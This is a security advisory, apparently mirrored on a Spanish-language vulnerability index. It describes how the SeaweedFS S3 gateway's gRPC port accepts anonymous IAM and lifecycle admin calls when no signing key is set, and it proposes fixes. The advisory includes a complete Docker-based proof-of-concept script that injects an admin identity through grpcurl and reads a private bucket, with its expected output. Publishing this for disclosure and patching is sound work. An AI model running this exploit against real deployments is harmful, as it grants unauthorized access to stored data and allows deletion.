GHSA-G96F-G546-47XF
S3 gateway gRPC port exposes the IAM and lifecycle admin services without authentication when no filer signing key is configured, allowing anyone with network access to add an admin identity
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-G96F-G546-47XF divulgada | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
### Summary
`weed server -s3` (and `weed s3`) opens a gRPC port at `10000 + s3.port` — `19000` for the default S3 port `9000`. That port serves two administrative services, `messaging_pb.SeaweedS3IamCache` (`PutIdentity`, `PutPolicy`, `RemoveIdentity`, `PutGroup`, `RemoveGroup`, `DeletePolicy`, `GetPolicy`, `ListPolicies`) and `s3_lifecycle_pb.SeaweedS3LifecycleInternal` (`LifecycleDelete`), plus gRPC reflection.
Every method calls `checkAdminAuth`, but that function is a no-op when no filer signing key is configured, which is the default. With no key, any host that can reach port 19000 can call `PutIdentity` anonymously to insert an identity with `Admin` actions and credentials of its choice, then use those credentials on the normal S3 port to read and write every bucket — including private buckets that are not readable anonymously. `RemoveIdentity` can also delete the application's own identity (denial of service), and `LifecycleDelete` can delete objects.
The S3 gateway's gRPC port binds to the same address as the S3 API (`-s3.ip.bind`, default `0.0.0.0`) and, unlike the Iceberg and Lance gateways, it has no option to disable it. An operator who exposes only the authenticated S3 port to other workloads still exposes this unauthenticated admin port to them.
Details
At tag 4.47 (commit `c507336`):
- `weed/command/s3.go:345-346` sets the gRPC port to `10000 + *s3opt.port` when unset, and `:348-350` binds it to `0.0.0.0` by default.
- `weed/s3api/s3api_server_grpc.go:24-50`, `checkAdminAuth`, returns `nil` (allow) whenever the filer signing key is empty:
func (s3a *S3ApiServer) checkAdminAuth(ctx context.Context) error {
if s3a.filerGuard == nil {
return nil
}
signingKey := s3a.filerGuard.SigningKey()
if len(signingKey) == 0 {
return nil // <-- no key configured: every gRPC admin call is accepted
}
// ... Bearer-token verification, only reached when a key is set
}- Every IAM method (`PutIdentity` at `:51`, `PutPolicy`, `RemoveIdentity`, …) and `LifecycleDelete` (`weed/s3api/s3api_internal_lifecycle.go:23`) starts with `if err := s3a.checkAdminAuth(ctx); err != nil { return nil, err }`, so all of them are unauthenticated in the default configuration.
The signing key comes from `jwt.filer_signing.key` in `security.toml` (or the `WEED_JWT_FILER_SIGNING_KEY` environment variable). A stock deployment ships neither, so the no-op branch is the norm, not an edge case. The doc comment on `checkAdminAuth` describes the empty-key no-op as intentional ("matching the rest of SeaweedFS's gRPC surface"), but the other gRPC surfaces it refers to (master, volume, filer) are expected to sit on a trusted network, whereas the S3 gateway is routinely placed next to untrusted workloads precisely because its S3 port is authenticated. The identity store being writable without authentication defeats that boundary.
Note this is distinct from GHSA-5fx4 (filer IAM gRPC), fixed in 4.46: that advisory's fix gates the calls behind the signing key, but a deployment without a key — the default — remains open, and the S3 gateway's own copy of the cache (`SeaweedS3IamCache`) is reachable on 19000 the same way.
Suggested fix
- Require authentication on these admin gRPC services independently of the filer signing key (for example, refuse the call when no key is configured rather than allowing it), or
- provide an option to disable the S3 gRPC port, and/or bind it to `127.0.0.1` separately from the S3 API bind address, so operators can keep the identity store off the data-plane network.
Documenting that `WEED_JWT_FILER_SIGNING_KEY` must be set whenever the S3 gRPC port is reachable would help, but a safe default is preferable.
### PoC
Deployment: stock `chrislusf/seaweedfs:4.47` image (index digest `sha256:ce9e796f1fe6f06968f4c04bdaf8f678dad9c8acdfef3d244133d71bfa6bf882`), `weed server -s3` with one admin identity (`AWS_ACCESS_KEY_ID` / `AWS_SECRET_ACCESS_KEY`) and no filer signing key, i.e. the default. Anonymous access to the S3 API is denied by default. The attacker reaches only the network, with no credentials.
The script below needs only Docker (grpcurl and curl run in containers) and cleans up after itself. It:
- Starts the server with an admin identity and no signing key.
- As the admin, creates a private bucket `private-data` and puts a secret object in it. Anonymous reads of it are denied (control case).
- Calls `PutIdentity` on the gRPC port `19000` anonymously, inserting an identity `attacker` with `Admin` actions and attacker-chosen credentials.
- Uses those credentials on the S3 port `9000` to list buckets and read the private object.
#!/usr/bin/env bash
# Minimal reproduction: SeaweedFS S3 gateway accepts anonymous admin gRPC calls (PutIdentity)
# on port 19000 when no filer signing key is configured (the default). Needs docker. Cleans up.
set -euo pipefail
IMAGE="${IMAGE:-chrislusf/seaweedfs:4.47}"
KEY=reproadmin
SECRET=reproadmin
NET=swfs-grpc-repro
docker network create "$NET" >/dev/null
cleanup() { docker rm -f swfs >/dev/null 2>&1 || true; docker network rm "$NET" >/dev/null 2>&1 || true; }
trap cleanup EXIT
# Stock server: one admin identity, no jwt.filer_signing.key.
docker run -d --name swfs --network "$NET" \
-e AWS_ACCESS_KEY_ID="$KEY" -e AWS_SECRET_ACCESS_KEY="$SECRET" \
"$IMAGE" server -s3 >/dev/null
c() { docker run --rm --network "$NET" curlimages/curl:8.10.1 "$@"; }
g() { docker run --rm --network "$NET" fullstorydev/grpcurl:v1.9.3 -plaintext "$@"; }
signed=(--aws-sigv4 "aws:amz:us-east-1:s3" --user "$KEY:$SECRET" -H "x-amz-content-sha256: UNSIGNED-PAYLOAD")
until c -fs "http://swfs:9000/healthz" >/dev/null 2>&1; do sleep 1; done
sleep 3
# A PRIVATE bucket and object (no anonymous policy).
c -fs "${signed[@]}" -X PUT "http://swfs:9000/private-data" >/dev/null
c -fs "${signed[@]}" -X PUT --data 'top secret' "http://swfs:9000/private-data/secret.txt" >/dev/null
echo "== Anonymous read of the private object (expected: 403)"
c -s -o /dev/null -w '%{http_code}\n' "http://swfs:9000/private-data/secret.txt"
echo "== gRPC services exposed on port 19000, unauthenticated:"
g swfs:19000 list
echo "== Anonymous PutIdentity: insert an admin identity of the attacker's choosing"
g -d '{"identity":{"name":"attacker","credentials":[{"access_key":"pwned","secret_key":"pwnedsecret"}],"actions":["Admin"]}}' \
swfs:19000 messaging_pb.SeaweedS3IamCache/PutIdentity
echo "== Using the injected credentials on the S3 port: list buckets (expected: the private bucket)"
attacker=(--aws-sigv4 "aws:amz:us-east-1:s3" --user "pwned:pwnedsecret" -H "x-amz-content-sha256: UNSIGNED-PAYLOAD")
c -s "${attacker[@]}" "http://swfs:9000/" | grep -o '<Name>[^<]*</Name>' || true
echo "== Read the private object with the injected credentials (expected: top secret)"
c -s "${attacker[@]}" "http://swfs:9000/private-data/secret.txt"; echoExpected output (anonymous read denied, then the injected identity reads the private data):
== Anonymous read of the private object (expected: 403)
403
== gRPC services exposed on port 19000, unauthenticated:
grpc.reflection.v1.ServerReflection
grpc.reflection.v1alpha.ServerReflection
messaging_pb.SeaweedS3IamCache
s3_lifecycle_pb.SeaweedS3LifecycleInternal
== Anonymous PutIdentity: insert an admin identity of the attacker's choosing
{}
== Using the injected credentials on the S3 port: list buckets (expected: the private bucket)
<Name>private-data</Name>
== Read the private object with the injected credentials (expected: top secret)
top secret### Impact
Any host able to reach the S3 gateway's gRPC port (default `0.0.0.0:19000`) on a deployment that has not configured a filer signing key — the default — can insert an administrative identity and thereby read and write every bucket, including private ones, delete the legitimate identity (denial of service), and delete objects via the lifecycle service. In a typical container deployment where only the "authenticated" S3 port is assumed to be sensitive, this unauthenticated admin port is an unexpected full compromise of the object store.
Setting `WEED_JWT_FILER_SIGNING_KEY` (or `jwt.filer_signing.key` in `security.toml`) closes it; the empty-key no-op default is the vulnerability.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
Gogithub.com/seaweedfs/seaweedfs |
Sin parche | — | — | — |
Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/seaweedfs/seaweedfs/security/advisories/GHSA-g96f-g546-47xfLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
